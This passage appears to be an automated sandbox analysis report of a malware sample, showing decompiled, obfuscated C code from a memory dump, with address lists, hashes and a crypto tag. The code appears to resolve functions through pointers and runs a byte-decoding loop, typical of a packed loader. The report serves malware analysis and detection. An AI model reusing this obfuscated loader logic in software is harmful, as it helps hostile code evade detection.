					_a4 = _a4 ^ 0xffffffff;
				}
				_t91 = _t90 - 0xffffffff;
				if(_t60 - 1 >= 0x60f9) {
					 *(_t89 + 0x41c8a6) = 1;
					_v16 = _v16 + 0xfffffe47;
				} else {
					_t106 =  *(_t89 + 0x41c8a6);
				}
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + _t101;
				_v8 = _v8 | _t101;
				_v8 = _v8 - 1;
				_v12 = _v12 ^ 0x00000000;
				 *(_t89 + 0x41c8a6) = 0xfffff898;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v16 = 1;
				_a4 = (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + (_t91 ^ _t97 & 0x00000000) + 1 + _v12;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_v8 = 1;
				_t77 = E00E99159(_v16, _t89, (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1);
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_a4 = _a4 + (_t77 + 0x00000001 - 0x00000001 ^ 0x310) + 0xffffffff;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) | 0x00000316;
				return 0xfffffffffffff815;
			}

0x00e91b1e
0x00e91b3b
0x00e91b45
0x00e91b58
0x00e91b47
0x00e91b47
0x00e91b4b
0x00e91b4b
0x00e91b64
0x00e91b66
0x00e91b6c
0x00e91b70
0x00e91b75
0x00e91b7e
0x00e91b89
0x00e91b90
0x00e91b9a
0x00e91b80
0x00e91b80
0x00e91b83
0x00e91b83
0x00e91b9f
0x00e91ba8
0x00e91bb7
0x00e91bc1
0x00e91baa
0x00e91baa
0x00e91bb0
0x00e91be4
0x00e91bfe
0x00e91c01
0x00e91c0c
0x00e91c1c
0x00e91c29
0x00e91c3c
0x00e91c44
0x00e91c47
0x00e91c4d
0x00e91c56
0x00e91c5e
0x00e91c74
0x00e91c91
0x00e91cb3
0x00e91ccd

Strings

M~, xrefs: 00E91B77

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID: M~
API String ID: 0-3014885260
Opcode ID: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction ID: 7a5cd5107a4b1e18e71a38bd1c79a2498209ca8226c915aedc691fab18876b7c
Opcode Fuzzy Hash: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction Fuzzy Hash: 7B41C773810A059FEB10DE7CCDC97CA3A61EF80339F1883A69C399A1D9D33886558B58

Uniqueness

Uniqueness Score: -1.00%

Function 00E93A14, Relevance: .9, Instructions: 925
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00E93A14(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _t498;
				signed int _t503;
				void* _t505;
				void* _t506;
				signed int _t510;
				signed int _t513;
				signed int _t516;
				signed int _t521;
				void* _t523;
				void* _t525;
				intOrPtr _t526;
				void _t529;
				signed int _t533;
				intOrPtr _t539;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t554;
				void* _t556;
				signed int _t557;
				void* _t560;
				signed int _t565;
				signed int _t566;
				signed int _t569;
				void* _t573;
				void* _t575;
				signed int _t576;
				signed int _t579;
				intOrPtr _t581;
				signed int _t587;
				signed int _t589;
				void* _t592;
				void* _t594;
				signed int _t595;
				void* _t599;
				void* _t601;
				intOrPtr _t602;
				void* _t605;
				void* _t607;
				void* _t608;
				signed int _t613;
				signed int _t614;
				void* _t616;
				void* _t618;
				signed int _t623;
				void* _t625;
				signed int _t626;
				signed int _t629;
				signed int _t637;
				void* _t639;
				void* _t641;
				void* _t642;
				signed int _t645;
				signed int _t648;
				signed int _t660;
				signed int _t663;
				signed int _t665;
				signed int _t672;
				signed int _t675;
				signed int _t677;
				signed int _t679;
				signed int _t682;
				void* _t685;
				signed int _t692;
				signed int _t693;
				signed int _t702;
				signed int _t704;
				signed int _t706;
				signed int _t708;
				signed int _t712;
				signed int _t714;
				signed int _t717;
				signed int _t720;
				void* _t723;
				signed int _t725;
				signed int _t727;
				signed int _t730;
				signed int _t731;
				signed int _t733;
				signed int _t740;
				signed int _t741;
				signed int _t746;
				signed int _t749;
				signed int _t751;
				signed int _t753;
				signed int _t755;
				signed int _t758;
				signed int _t761;
				signed int _t765;
				signed int _t769;
				signed int _t774;
				signed int _t779;
				signed int _t784;
				signed int _t787;
				signed int _t790;
				signed int _t792;
				signed int _t795;
				signed int _t798;
				void* _t803;
				void* _t810;
				signed int _t812;
				signed int _t815;
				signed int _t820;
				signed int _t823;
				signed int _t825;
				signed int _t828;
				signed int _t834;
				signed int _t839;
				void* _t840;
				signed int _t844;
				signed int _t849;
				void* _t851;
				signed int _t853;
				signed int _t856;
				signed int _t859;
				signed int _t863;
				signed int _t864;
				signed int _t867;
				signed int _t871;
				signed int _t874;
				signed int _t878;
				signed int* _t879;
				signed int* _t880;
				signed int* _t881;
				signed int* _t882;
				signed int* _t883;
				signed int* _t884;
				signed int* _t885;
				signed int* _t889;
				signed int* _t890;
				signed int* _t891;
				signed int* _t892;
				signed int* _t893;
				signed int* _t894;
				signed int* _t895;
				signed int* _t896;
				signed int* _t897;
				signed int* _t898;
				signed int* _t899;
				signed int* _t900;

				_t740 = __edx;
				_t660 = __ebx;
				_push(__edi);
				 *_t878 =  *_t878 ^ __edi;
				 *_t878 =  *_t878 | _t863;
				_t864 = _t878;
				_t879 = _t878 + 0xffffffdc;
				_push(__edi);
				 *_t879 =  *_t879 ^ __edi;
				 *_t879 =  *_t879 | __ebx;
				_push(_a8);
				_pop( *_t2);
				_push(_v40);
				_pop(_t792);
				_t675 = _v48;
				_v48 =  *((intOrPtr*)(_t792 + 0xc));
				_pop( *_t6);
				_v48 =  *((intOrPtr*)(_t792 + 4));
				_pop(_t834);
				 *_t9 = _t864;
				if(_v20 == 1) {
					_v12 = 7;
					_v16 = 1;
					_v28 = 8;
				}
				if(_v20 != 0) {
					if(_v20 != 2) {
						if(_v20 == 4) {
							_t312 = _t660 + 0x41d1be; // 0x41d1be
							_v48 = _t312;
							_t314 = _t660 + 0x41c0a8; // 0x41c0a8
							 *_t879 =  *_t879 & 0x00000000;
							 *_t879 =  *_t879 ^ _t314;
							_push( *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40));
							_pop( *_t316);
							_push(_v36);
							_pop( *_t318);
							_v12 = 1;
							_t320 = _t660 + 0x41c6f8; // 0x41c6f8
							_v36 = _v36 & 0x00000000;
							 *_t879 =  *_t879 ^ _t320;
							_t544 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36);
							_v36 = _t740;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) & 0x00000000;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) | _t740 ^ _v36 | _t544;
							_t769 = _v36;
							_v16 = 0x55;
							_t333 = _t660 + 0x41c356; // 0x41c356
							_v32 = _v32 & 0x00000000;
							 *_t879 =  *_t879 | _t333;
							_t546 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
							_v40 = _t792;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) & 0x00000000;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) | _t792 & 0x00000000 ^ _t546;
							_t792 = _v40;
							_v28 = 2;
							_t345 = _t660 + 0x41cc3e; // 0x41cc3e
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 ^ _t345;
							_t349 = _t660 + 0x41cf5b; // 0x41cf5b
							 *_t879 =  *_t879 ^ _t834;
							 *_t879 = _t349;
							_t498 =  *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40);
							_v36 = _t769;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) & 0x00000000;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) | _t769 & 0x00000000 | _t498;
							_t740 = _v36;
						}
					} else {
						_t221 = _t660 + 0x41cb7a; // 0x41cb7a
						_v32 = 0;
						_v48 = _v48 + _t221;
						_t224 = _t660 + 0x41c8ec; // 0x41c8ec
						_v40 = 0;
						 *_t879 =  *_t879 ^ _t224;
						_t551 =  *((intOrPtr*)(_t660 + 0x41f068))(_v40, _v32);
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) & 0x00000000;
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) ^ (_t834 & 0x00000000 | _t551);
						_t844 = _t834;
						_t232 = _t660 + 0x41c379; // 0x41c379
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 + _t232;
						_t236 = _t660 + 0x41c532; // 0x41c532
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 | _t236;
						_t554 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v36);
						 *_t879 = _t554;
						_t242 = _t660 + 0x41d201; // 0x41d201
						 *_t879 = _t242;
						_t556 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v40);
						_t702 = _t675 & 0x00000000 |  *_t879;
						_t889 =  &(_t879[1]);
						 *_t889 =  *_t889 + _t792;
						_t810 = _t556;
						_t557 = _t810 + _t702;
						_t812 = 0;
						_t704 = _t702 & 0x00000000 ^ (_t557 ^  *_t889 |  *(_t660 + 0x41cc21));
						_t560 = _t557;
						if(_t704 > _t560) {
							_t246 = _t660 + 0x41c532; // 0x41c532
							 *_t889 =  *_t889 & 0x00000000;
							 *_t889 =  *_t889 | _t246;
							_t247 = _t660 + 0x41d201; // 0x41d201
							_v40 = _v40 & 0x00000000;
							 *_t889 =  *_t889 | _t247;
							_t587 =  *((intOrPtr*)(_t660 + 0x41f064))(_v40, _t740);
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) & 0x00000000;
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) | _t864 -  *_t889 ^ _t587;
							_t864 = _t864;
						}
						_t890 = _t889 - 0xfffffffc;
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 |  *_t889;
						_t256 = _t660 + 0x41d01d; // 0x41d01d
						 *_t890 =  *_t890 ^ _t812;
						 *_t890 =  *_t890 | _t256;
						_t257 = _t660 + 0x41c37d; // 0x41c37d
						 *_t890 = _t257;
						_t565 =  *((intOrPtr*)(_t660 + 0x41f068))(_v32, _t812, _t740);
						_v36 = _t812;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) & 0x00000000;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) | _t812 & 0x00000000 | _t565;
						_t815 = _v36;
						_t566 =  *((intOrPtr*)(_t660 + 0x41f060))();
						 *_t890 =  *_t890 ^ _t844;
						 *_t890 =  *_t890 | _t566;
						_t267 = _t660 + 0x41c8c2; // 0x41c8c2
						 *_t890 =  *_t890 - _t660;
						 *_t890 =  *_t890 + _t267;
						_t268 = _t660 + 0x41c737; // 0x41c737
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 ^ _t268;
						_t569 =  *((intOrPtr*)(_t660 + 0x41f068))(_t815, _t660, _t844);
						 *_t270 = _t569;
						_push(_v36);
						_pop( *_t272);
						_t891 = _t890 - 0xfffffffc;
						_v36 = _t815;
						 *(_t660 + 0x41c606) = _t569 & 0x00000000 |  *_t890;
						_t792 = _v36;
						_v12 = 3;
						_t277 = _t660 + 0x41d2fe; // 0x41d2fe
						_v32 = 0;
						 *_t891 =  *_t891 | _t277;
						_t573 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
						 *_t891 =  *_t891 ^ _t792;
						 *_t891 =  *_t891 + _t573;
						_t281 = _t660 + 0x41d22a; // 0x41d22a
						_v40 = _v40 & 0x00000000;
						 *_t891 =  *_t891 | _t281;
						_t575 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t792);
						_t706 = _t704 & 0x00000000 |  *_t891;
						_t879 =  &(_t891[1]);
						_v40 = _t740;
						_push(_t706 + _t575);
						_t774 = _v40;
						_pop(_t576);
						_v36 = _t576;
						_t708 = _t706 & 0x00000000 ^ (_t576 ^ _v36 |  *(_t660 + 0x41c48f));
						_t579 = _v36;
						if(_t708 > _t579) {
							_t292 = _t660 + 0x41d2fe; // 0x41d2fe
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 + _t292;
							_t296 = _t660 + 0x41d22a; // 0x41d22a
							_v36 = 0;
							 *_t879 =  *_t879 ^ _t296;
							_t579 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v40);
						}
						 *_t879 = _t844;
						 *(_t660 + 0x41c2cf) = 0 ^ _t579;
						_t834 = 0;
						_v16 = 0x11;
						_t302 = _t660 + 0x41d09f; // 0x41d09f
						 *_t879 =  *_t879 - _t792;
						 *_t879 =  *_t879 + _t302;
						_t581 =  *((intOrPtr*)(_t660 + 0x41f060))(_t792);
						_v40 = _t708;
						 *((intOrPtr*)(_t660 + 0x41ce4e)) = _t581;
						_t675 = _v40;
						_v28 = 4;
						_t308 = _t660 + 0x41c4f7; // 0x41c4f7
						 *_t879 =  *_t879 ^ _t675;
						 *_t879 =  *_t879 + _t308;
						_t498 =  *((intOrPtr*)(_t660 + 0x41f060))(_t675);
						 *_t879 = _t774;
						 *(_t660 + 0x41c895) = 0 ^ _t498;
						_t740 = 0;
					}
					_t741 = _t740 ^ _t740;
					_v48 = _v48 - _t792;
					_v48 = _t741;
					_t357 = _t660 + 0x41c61d; // 0x41c61d
					 *_t879 =  *_t879 ^ _t834;
					 *_t879 = _t357;
					_t503 =  *((intOrPtr*)(_t660 + 0x41f060))(_t834, _t792, _t498);
					 *_t879 = _t503;
					_t360 = _t660 + 0x41cf67; // 0x41cf67
					_v40 = 0;
					 *_t879 =  *_t879 ^ _t360;
					_t505 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _v32);
					_pop( *_t364);
					_t677 = _t675 & 0x00000000 ^ _v40;
					_v40 = _t792;
					_push(_t677 + _t505);
					_t795 = _v40;
					_pop(_t506);
					_t679 = _t677 & 0x00000000 | _t864 & 0x00000000 ^  *(_t660 + 0x41c5dc);
					_t867 = _t864;
					if(_t679 > _t506) {
						_t369 = _t660 + 0x41c61d; // 0x41c61d
						_v32 = 0;
						 *_t879 =  *_t879 ^ _t369;
						_t372 = _t660 + 0x41cf67; // 0x41cf67
						_v36 = 0;
						 *_t879 =  *_t879 | _t372;
						_t539 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v32);
						_v32 = _t679;
						 *((intOrPtr*)(_t660 + 0x41cf4f)) = _t539;
						_t679 = _v32;
					}
					_t880 =  &(_t879[1]);
					 *_t880 = _t679;
					_t682 = 0;
					 *_t880 = _t741 & 0x00000000 |  *_t879;
					_t381 = _t660 + 0x41cef6; // 0x41cef6
					_v32 = _v32 & 0x00000000;
					 *_t880 =  *_t880 | _t381;
					_t385 = _t660 + 0x41ceb9; // 0x41ceb9
					 *_t880 =  *_t880 ^ _t867;
					 *_t880 =  *_t880 ^ _t385;
					_t510 =  *((intOrPtr*)(_t660 + 0x41f068))(_t867, _v32, _v40);
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) & 0x00000000;
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) | _t682 ^  *_t880 | _t510;
					_t685 = _t682;
					_t881 = _t880 - 0xfffffffc;
					_t746 = _t510 % _v28;
					 *_t881 =  *_t881 & 0x00000000;
					 *_t881 =  *_t881 | _t746;
					_t397 = _t660 + 0x41c52d; // 0x41c52d
					_v40 = 0;
					 *_t881 =  *_t881 ^ _t397;
					_t513 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t685);
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) & 0x00000000;
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) | _t746 & 0x00000000 | _t513;
					_t749 = _t746;
					_t751 = _t749 & 0x00000000 ^  *_t881;
					_t882 = _t881 - 0xfffffffc;
					_v8 = _v8 - _t751;
					_v40 = 0;
					 *_t882 =  *_t882 | _t751;
					_t409 = _t660 + 0x41c7ee; // 0x41c7ee
					 *_t882 =  *_t882 ^ _t795;
					 *_t882 =  *_t882 ^ _t409;
					_t410 = _t660 + 0x41c513; // 0x41c513
					_v36 = 0;
					 *_t882 =  *_t882 | _t410;
					_t516 =  *((intOrPtr*)(_t660 + 0x41f068))(_v36, _t795, _v40, _t685);
					_v36 = _t834;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) & 0x00000000;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) ^ _t834 & 0x00000000 ^ _t516;
					_t753 =  *_t882;
					_t883 =  &(_t882[1]);
					_v32 = _t516;
					_v24 = _v24 & 0x00000000;
					_v24 = _v24 | _t516 ^ _v32 ^ _t753;
					_t427 = _t660 + 0x41ccc7; // 0x41ccc7
					_v40 = 0;
					 *_t883 =  *_t883 | _t427;
					_t521 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40);
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) & 0x00000000;
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) | _t795 -  *_t883 | _t521;
					_t798 = _t795;
					_t839 = _v36 & 0x00000000 ^ _t660 & 0x00000000 ^ _a4;
					_t663 = _t660;
					_t436 = _t663 + 0x41c550; // 0x41c550
					_v36 = 0;
					 *_t883 =  *_t883 + _t436;
					_t523 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36);
					_v36 = 0;
					 *_t883 =  *_t883 + _t523;
					_t442 = _t663 + 0x41d34c; // 0x41d34c
					 *_t883 = _t442;
					_t525 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36, _v36);
					_t884 = _t883 - 0xfffffffc;
					 *_t445 = _t525;
					_v40 = _v40 + (0 ^  *_t883);
					_push(_v40);
					_pop(_t526);
					_t755 = _t753;
					_v32 = _t755;
					_t758 = _v32;
					if( *((intOrPtr*)(_t663 + 0x41ccf8)) > _t526) {
						_t452 = _t663 + 0x41c550; // 0x41c550
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t452;
						_t456 = _t663 + 0x41d34c; // 0x41d34c
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t456;
						_t526 =  *((intOrPtr*)(_t663 + 0x41f064))(_v32, _v32);
					}
					_v40 = _t758;
					 *((intOrPtr*)(_t663 + 0x41ce46)) = _t526;
					_t761 = _v40;
					_v32 = _t761;
					_t466 = _t663 + 0x41cb9d; // 0x41cb9d
					 *_t884 =  *_t884 - _t839;
					 *_t884 =  *_t884 | _t466;
					_t467 = _t663 + 0x41cd17; // 0x41cd17
					_v36 = _v36 & 0x00000000;
					 *_t884 =  *_t884 | _t467;
					_t529 =  *((intOrPtr*)(_t663 + 0x41f068))(_v36, _t839);
					 *_t884 = _t798 & 0x00000000 | _t761 & 0x00000000 ^ _t839;
					 *(_t663 + 0x41d015) = 0 ^ _t529;
					_t803 = 0;
					_t840 = _t839 - 1;
					_v32 = 0;
					_push(_v32);
					 *_t884 =  *_t884 | _t663;
					do {
						 *_t475 = _t803;
						_push(_v36);
						_pop(_t692);
						_t693 = _t692 & _v12;
						if(_t693 == 0) {
							_t840 = _t840 + 1;
							_t529 = _t529 & 0x00000000 ^ (_t803 -  *_t884 | _v28);
							_t803 = _t803;
							_t663 =  *(_t529 + _t840) & 0x000000ff;
						}
						_push(_v16);
						_pop( *_t481);
						_push(_v36);
						_pop(_t765);
						asm("rol edx, cl");
						asm("lodsb");
						_t529 = _t529 | _t765 & _t663;
						 *_t803 = _t529;
						_t803 = _t803 + 1;
						_t483 =  &_v8;
						 *_t483 = _v8 - 1;
					} while ( *_t483 != 0);
					_t665 =  *_t884;
					_t885 =  &(_t884[1]);
					_t485 = _t665 + 0x41cc0b; // 0x41cc0b
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 ^ _t485;
					_t486 = _t665 + 0x41cbd0; // 0x41cbd0
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 | _t486;
					_t533 =  *((intOrPtr*)(_t665 + 0x41f068))(_t867, _t693);
					_v36 = _t693;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) & 0x00000000;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) ^ (_t693 ^ _v36 | _t533);
					_v32 = _t665;
					return memcpy(_t803, _t840 + 1, _v24);
				} else {
					_pop( *_t15);
					_t672 = _t660 & 0x00000000 ^ _v32;
					_t17 = _t672 + 0x41cb24; // 0x41cb24
					_v32 = 0;
					 *_t879 =  *_t879 | _t17;
					_t589 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32);
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) & 0x00000000;
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) ^ _t792 ^ _v48 ^ _t589;
					_t820 = _t792;
					_t25 = _t672 + 0x41c2ba; // 0x41c2ba
					_v48 = _v48 ^ _t820;
					_v48 = _t25;
					_t26 = _t672 + 0x41d1a6; // 0x41d1a6
					 *_t879 =  *_t879 ^ _t820;
					 *_t879 =  *_t879 + _t26;
					_t592 =  *((intOrPtr*)(_t672 + 0x41f060))(_t820, _t820);
					 *_t879 =  *_t879 - _t864;
					 *_t879 =  *_t879 + _t592;
					_t28 = _t672 + 0x41c035; // 0x41c035
					 *_t879 =  *_t879 & 0x00000000;
					 *_t879 =  *_t879 | _t28;
					_t594 =  *((intOrPtr*)(_t672 + 0x41f060))(_t740, _t864);
					_t712 =  *_t879;
					_t892 =  &(_t879[1]);
					_v40 = _t820;
					_push(_t712 + _t594);
					_t823 = _v40;
					_pop(_t595);
					_v40 = _t834;
					_t714 = _t712 & 0x00000000 ^ _t834 & 0x00000000 ^  *(_t672 + 0x41c8ae);
					_t849 = _v40;
					if(_t714 > _t595) {
						_t35 = _t672 + 0x41d1a6; // 0x41d1a6
						 *_t892 =  *_t892 & 0x00000000;
						 *_t892 =  *_t892 ^ _t35;
						_t36 = _t672 + 0x41c035; // 0x41c035
						 *_t892 = _t36;
						_t595 =  *((intOrPtr*)(_t672 + 0x41f064))(_v40, _t672);
						_push(0);
						 *_t892 = _t714;
						 *(_t672 + 0x41d244) = 0 ^ _t595;
					}
					_t893 = _t892 - 0xfffffffc;
					 *_t893 =  *_t893 - _t849;
					 *_t893 =  *_t893 ^ (_t595 & 0x00000000 |  *_t892);
					_t40 = _t672 + 0x41cd30; // 0x41cd30
					 *_t893 =  *_t893 ^ _t849;
					 *_t893 =  *_t893 + _t40;
					_t599 =  *((intOrPtr*)(_t672 + 0x41f060))(_t849, _t849);
					_v36 = 0;
					 *_t893 =  *_t893 + _t599;
					_t44 = _t672 + 0x41c116; // 0x41c116
					 *_t893 = _t44;
					_t601 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_t894 =  &(_t893[1]);
					 *_t47 = _t601;
					_v40 = _v40 + (0 ^  *_t893);
					_push(_v40);
					_pop(_t602);
					_t851 = _t849;
					_v40 = _t740;
					_t717 = 0 ^  *(_t672 + 0x41d282);
					_t779 = _v40;
					if(_t717 > _t602) {
						_t54 = _t672 + 0x41cd30; // 0x41cd30
						_v36 = _v36 & 0x00000000;
						 *_t894 =  *_t894 + _t54;
						_t58 = _t672 + 0x41c116; // 0x41c116
						 *_t894 = _t58;
						_t602 =  *((intOrPtr*)(_t672 + 0x41f064))(_v36, _v36);
					}
					_v32 = _t779;
					 *((intOrPtr*)(_t672 + 0x41d2af)) = _t602;
					_t64 = _t672 + 0x41c00f; // 0x41c00f
					_v36 = 0;
					 *_t894 =  *_t894 | _t64;
					_t67 = _t672 + 0x41c17e; // 0x41c17e
					_v40 = _v40 & 0x00000000;
					 *_t894 =  *_t894 | _t67;
					_t605 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_v40 = 0;
					 *_t894 =  *_t894 + _t605;
					_t74 = _t672 + 0x41cf79; // 0x41cf79
					 *_t894 =  *_t894 & 0x00000000;
					 *_t894 =  *_t894 | _t74;
					_t607 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					 *_t76 = _t717;
					_push(_v32);
					 *_t78 = _t607;
					_v32 = _v32 + (_t717 & 0x00000000) + _v40;
					_push(_v32);
					_pop(_t608);
					_pop(_t784);
					_push( *((intOrPtr*)(_t672 + 0x41cc9b)));
					_pop( *_t83);
					_push(_v40);
					_pop(_t720);
					if(_t720 > _t608) {
						_t85 = _t672 + 0x41c17e; // 0x41c17e
						 *_t894 =  *_t894 & 0x00000000;
						 *_t894 =  *_t894 + _t85;
						_t86 = _t672 + 0x41cf79; // 0x41cf79
						_v32 = _v32 & 0x00000000;
						 *_t894 =  *_t894 ^ _t86;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_v32, _t784));
						_pop( *_t91);
						_push(_v40);
						_pop( *_t93);
					}
					_t895 =  &(_t894[1]);
					 *_t895 =  *_t894;
					_t95 = _t672 + 0x41cd11; // 0x41cd11
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 + _t95;
					_t96 = _t672 + 0x41c5be; // 0x41c5be
					_v40 = _v40 & 0x00000000;
					 *_t895 =  *_t895 ^ _t96;
					_t613 =  *((intOrPtr*)(_t672 + 0x41f068))(_v40, _t864, _v36);
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) & 0x00000000;
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) ^ (_t720 & 0x00000000 | _t613);
					_t723 = _t720;
					_t614 =  *((intOrPtr*)(_t672 + 0x41f068))();
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 ^ _t614;
					_t106 = _t672 + 0x41d112; // 0x41d112
					_v36 = 0;
					 *_t895 =  *_t895 + _t106;
					_t616 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36, _t823);
					 *_t895 =  *_t895 - _t723;
					 *_t895 =  *_t895 + _t616;
					_t110 = _t672 + 0x41c899; // 0x41c899
					_v40 = 0;
					 *_t895 =  *_t895 | _t110;
					_t618 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t723);
					_t725 =  *_t895;
					_t896 =  &(_t895[1]);
					 *_t114 = _t618;
					_v36 = _v36 + _t725;
					_push(_v36);
					_pop(_t619);
					_t853 = _t851;
					_v32 = _t784;
					_t727 = _t725 & 0x00000000 | _t784 - _v32 ^  *(_t672 + 0x41c8e8);
					_t787 = _v32;
					if(_t727 > _t619) {
						_t122 = _t672 + 0x41d112; // 0x41d112
						_v40 = _v40 & 0x00000000;
						 *_t896 =  *_t896 ^ _t122;
						_t126 = _t672 + 0x41c899; // 0x41c899
						 *_t896 =  *_t896 - _t672;
						 *_t896 =  *_t896 | _t126;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v40));
						_pop( *_t128);
						_push(_v40);
						_pop( *_t130);
					}
					_t897 =  &(_t896[1]);
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) & 0x00000000;
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) ^ _t853 ^  *_t897 ^  *_t896;
					_t856 = _t853;
					_t135 = _t672 + 0x41cc19; // 0x41cc19
					 *_t897 = _t135;
					_t623 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36);
					_v32 = _v32 & 0x00000000;
					 *_t897 =  *_t897 ^ _t623;
					_t141 = _t672 + 0x41c058; // 0x41c058
					_v32 = 0;
					 *_t897 =  *_t897 + _t141;
					_t625 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32, _v32);
					_t898 = _t897 - 0xfffffffc;
					 *_t145 = _t625;
					_v40 = _v40 + (_t727 & 0x00000000) +  *_t897;
					_push(_v40);
					_pop(_t626);
					_t825 = _t823;
					_v36 = _t787;
					_t730 =  *(_t672 + 0x41c493);
					_t790 = _v36;
					if(_t730 > _t626) {
						_t152 = _t672 + 0x41cc19; // 0x41cc19
						 *_t898 =  *_t898 ^ _t730;
						 *_t898 =  *_t898 | _t152;
						_t153 = _t672 + 0x41c058; // 0x41c058
						 *_t898 =  *_t898 & 0x00000000;
						 *_t898 =  *_t898 + _t153;
						_t626 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _t730);
					}
					 *_t898 = _t856;
					 *(_t672 + 0x41d0de) = 0 ^ _t626;
					_t859 = 0;
					_t899 = _t864;
					_pop(_t871);
					_t156 = _t672 + 0x41c23b; // 0x41c23b
					 *_t899 =  *_t899 ^ _t790;
					 *_t899 = _t156;
					_t157 = _t672 + 0x41c2e1; // 0x41c2e1
					_v8 = _v8 - _t859;
					_v8 = _v8 | _t157;
					_t629 =  *((intOrPtr*)(_t672 + 0x41f068))(_t859, _t790);
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) & 0x00000000;
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) ^ _t825 & 0x00000000 ^ _t629;
					_t828 = _t825;
					_t163 = _t672 + 0x41c6d4; // 0x41c6d4
					_v12 = _v12 ^ _t730;
					_v12 = _v12 + _t163;
					_t164 = _t672 + 0x41cc84; // 0x41cc84
					_v16 = _t164;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v32, _t730));
					_pop( *_t167);
					_push(_v40);
